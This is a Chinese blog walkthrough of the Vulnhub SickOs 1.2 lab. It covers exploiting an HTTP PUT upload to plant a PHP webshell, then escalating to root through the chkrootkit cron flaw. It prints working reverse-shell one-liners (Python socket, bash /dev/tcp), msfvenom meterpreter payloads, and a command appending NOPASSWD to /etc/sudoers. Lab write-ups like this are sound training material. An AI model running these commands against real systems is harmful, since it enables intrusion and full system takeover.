• 【甄选靶场】Vulnhub百个项目渗透——项目十三:SickOs 1.2(防火墙绕过,计划任务写入)


    Vulnhub百个项目渗透

    Vulnhub百个项目渗透——项目十三:SickOs 1.2(防火墙绕过,计划任务写入)

    靶场地址
    🔥系列专栏:Vulnhub百个项目渗透
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月14日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!


    前言

    本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


    一、梳理流程

    1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
    2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
    3. 二次收集(基于已得到的服务或者主机再次信息收集)
    4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
    5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

    二、使用步骤

    1.服务发现

    (我称为,脆弱点获取)
    通常有如下几步:

    1. 端口爆破,基本服务信息获取
    2. 挨个端口访问,寻找第一次突破口
    3. web页面信息收集,寻求更大突破
    4. 具体服务突破

    端口爆破

    nmap -sP 192.168.247.0/24
    nmap sS sV -A -T5 192.168.247.142
    
    • 1
    • 2

    在这里插入图片描述

    显示开放了22,80端口,并且,80端口采用了lighttpd1.4.28,谷歌先行搜索,发现存在脆弱点

    nikto 192.168.247.142  --简单的漏洞扫描一下,发现并不存在漏洞,接下来进行页面的信息收集
    
    • 1

    在这里插入图片描述

    访问页面发现一张图片,那么可能存在图片的16进制信息,我们下载到本地,分析一下

    strings blow.jpg
    
    • 1

    在这里插入图片描述

    发现啥也没有,那么就只能爆破一下目录了

    在这里插入图片描述

    爆破出一个目录

    在这里插入图片描述

    发现存在文件读取,那么就要想想,存在文件读取,我们能不能文件上传,那么在页面抓包分析一下

    2.WEB突破

    在这里插入图片描述

    可以看到,我们将请求头改成PUT依旧可以正常,那么我们尝试写入字符到一个php文件下

    在这里插入图片描述

    响应值200,证明文件可写入

    在这里插入图片描述
    在这里插入图片描述

    1.利用写入获取shell

    将请求头改成了OPTIONS,利用curl访问,我们知道了哪些请求头可以利用

    紧接着,写入一句话到shell.php中

    curl -v -X PUT -d '' http://192.168.247.142/test/shell.php
    
    然后再url框中输入?cmd=ls
    
    代表着ls作为cmd变量的一个参数带入shell.php文件
    
    然后再作为一个命令参数去执行
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    查看一下是否安装了python,因为如果安装了python就可以有很多的方便

     ?cmd=which python
    
    • 1

    在这里插入图片描述

    这里其实我们已经拿到shell了,只需要回弹端口监听,就可以获得正常的shell
    所以输入:

    nc -vlp 6677
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.247.129",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    • 1
    • 2

    在这里插入图片描述

    但是收不到端口的监听,看看页面,也没有报错,而是在一直转圈圈,说明命令没有错,shell没有错,而是找不到路,说明这个一定配置了不出网的防火墙,但是一定也有端口开放,不然这个靶场还打个鸡毛打,那就换一个方法

    在这里插入图片描述

    2.利用weevely获取shell
    weevely generate pass1234 rong.php     --生成php木马文件
    
    curl --upload-file rong.php -v --url http://192.168.247.142/test/dayu.php -0
    
    --upload-file  ---上传
    -0   ---因为要接入http1.0或者http2,-0是自动会选择!
    
    访问:http://192.168.247.142/test
    发现成功上传!
    
    weevely http://192.168.247.142/test/rong.php passrong
    成功获得反弹shell!
    
    curl --upload-file linpeas.sh -v --url http://192.168.247.142/test/linpeas.sh -0    --上传信息搜集脚本,为下一步去做准备
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    但是运行不显示结果,可能是weevely终端端的问题,可以手工信息收集,但我偏不,我要再找一个shell,这一次我选择了msf生成一个php回连,让他找我

    在这里插入图片描述

    3. 使用msf获取shell

    使用步骤:

    1. 生成木马

    2. 2.msf中连接木马以及相关设置

    3. 生成木马:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=7777 -f raw > shell.php
    ---生成
    curl -v -H 'Expect:' -T shell.php "http://192.168.247.142/test/"
    ---上传
    
    • 1
    • 2
    • 3
    • 4
    1. 本机配置木马
    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 192.168.247.129
    msf6 exploit(multi/handler) > set lport 443
    msf6 exploit(multi/handler) > run
    
    meterpreter > shell
    --这个地方输入shell之后是空的,直接输命令即可
    
    python -c 'import pty;pty.spawn("/bin/bash")'
    
    www-data@ubuntu:/var/www/test$   --拿到shell
    ./linpeas.sh 
    开始检查
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述

    3.提权

    信息二次收集

    1.手工法(经典三问)

    在这里插入图片描述

    2.脚本法

    我用这个,不为什么,就为了那个花花绿绿的颜色
    在这里插入图片描述

    可以内核提权

    在这里插入图片描述

    计划任务突破

    发现daily字样的计划任务,按照root运行

    在这里插入图片描述

    发现一个sudo权限运行的用户

    刚才发现了一个叫cron什么的一个计划任务,我们这里全局搜索一下,看看能不能找到他的crontab,那个是他的计划任务命令

    linux 系统则是由 cron (crond) 这个系统服务来控制的。Linux
    系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。另 外, 由于使用者自己也可以设置计划任务,所以, Linux
    系统也提供了使用者控制计划任务的命令 :crontab 命令。

    1.计划任务文件搜索,寻求写入方法
    find / -name cron* 2>/dev/null
    --全局搜索cron开头的名字,不显示报错信息
    
    • 1
    • 2

    在这里插入图片描述

    搜索到了三个计划任务,挨个看看

    在这里插入图片描述

    在cron.daily中我们发现了chrootkit这样一个东西,我们知道他是用来定时清除木马一类的东西

    Rootkit是一个特殊的恶意软件,它可隐藏自身以及指定的文件、进程、网络、链接、端口等信息。Rootkit可通过加载特殊的驱动修改系统内核,进而达到隐藏信息的目的。Rootkit的三要素就是:隐藏、操纵、收集数据。
    Rootkit具有隐身功能,无论静止时作为文件存在,还是活动时作为进程存在,都不会被察觉,它可能永远存在于计算机中。

    在这里插入图片描述

    同样的,我们也搜索一下这个文件相关

    在这里插入图片描述

    第一个是配置信息,第二个是环境变量信息
    暂时不是很想访问它,看一下版本号直接提权了应该(因为计划任务是root走的,这个在计划任务里,我们只要能写入到这个东西里面,应该就可以按时按照root运行)

    在这里插入图片描述

    searchsploit chkrootkit 0.49
    locate /linux/local/33899.txt
    cp /usr/share/exploitdb/exploits/linux/local/33899.txt .
    ----注意最后有个点,代表当前目录
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    那个txt是漏洞介绍啊利用啊这样子的,太长,朕不阅,直接翻译
    告诉我们/tmp只要能写入,并且按照root运行,我们就可以顺顺利利的提权

    方法1:chkrootkit提权
    printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/443 0>&1\n' >> /tmp/update
    chmod 777 /tmp/update
    nc -nlvp 443
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    方法二:计划任务添加sudo用户

    这个要先把之前试验过的update删掉,不然出不来
    然后我是先截的图放过来然后再去kali继续做的,这个图不见了,见谅哈

    rm -rf update --删除之前操作过的update文件
    给对方www-data加入sudo权限:
    echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
    chmod +x /tmp/update
    
    ls -la /etc/sudoers   ---过几分钟查看
    sudo su          ----成功获得root权限
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    方法三:msf上线
    msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf LHOST=10.211.55.19 LPORT=443 -o dayu.elf
    
    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp
    set lport 443
    set lhost 10.211.55.19
    exploit -j
    
    python -m SimpleHTTPServer 443
    wget http://10.211.55.19:443/dayu.elf
    mv dayu.elf /tmp/update
    chmod +x update
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    4.防火墙查看

    cd ~/
    cat newRule

    :INPUT DROP [0:0]
    :FORWARD ACCEPT [0:0]
    :OUTPUT DROP [0:0]
    -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
    -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
    -A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
    -A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
    -A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
    -A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
    -A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
    -A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
    COMMIT

    只有端口22、80、443、8080允许通过防火墙!

  • 相关阅读:
    Java项目:ssm流浪狗领养系统
    PS进阶篇——如何PS软件给图片部分位置打马赛克(四)
    图片破损打不开如何修复?一招轻松恢复损坏图片!
    接口幂等性
    Linux 查看进程启动时间、运行时间
    深度学习中的正则化技术 - 参数绑定和参数共享篇
    这份Github神仙笔记覆盖了90%以上的Java八股文
    关于Java多线程的那些事
    瑕疵全记录,数据库毛刺问题的排查与解决
    Gitlab+Jenkins自动化部署,解放双手
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/126861895